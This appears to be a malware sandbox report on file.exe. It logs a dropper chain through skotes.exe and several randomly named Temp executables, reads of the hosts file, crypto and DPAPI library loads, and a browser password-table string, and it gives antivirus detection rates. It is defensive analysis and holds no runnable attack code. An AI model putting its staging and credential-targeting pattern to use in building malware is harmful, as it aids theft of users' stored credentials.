File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: 623cea31e9.exe, 00000009.00000003.2502059315.00000000033B6000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2526584982.0000000003399000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2593320986.0000000005585000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe	Virustotal: Detection: 55%
Source: file.exe	ReversingLabs: Detection: 47%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe "C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe"
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Process created: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe "C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe "C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe "C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe"
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process created: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe "C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe "C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe "C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018148001\173fa614c9.exe "C:\Users\user\AppData\Local\Temp\1018148001\173fa614c9.exe"
Source: C:\Users\user\AppData\Local\Temp\1018148001\173fa614c9.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1018148001\173fa614c9.exe	Process created: C:\Users\user\AppData\Local\Temp\1018148001\173fa614c9.exe "C:\Users\user\AppData\Local\Temp\1018148001\173fa614c9.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe "C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe "C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe "C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe "C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe "C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018148001\173fa614c9.exe "C:\Users\user\AppData\Local\Temp\1018148001\173fa614c9.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Process created: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe "C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process created: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe "C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe"
Source: C:\Users\user\AppData\Local\Temp\1018148001\173fa614c9.exe	Process created: C:\Users\user\AppData\Local\Temp\1018148001\173fa614c9.exe "C:\Users\user\AppData\Local\Temp\1018148001\173fa614c9.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Section loaded: iconcodecservice.dll
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	Section loaded: nlaapi.dll
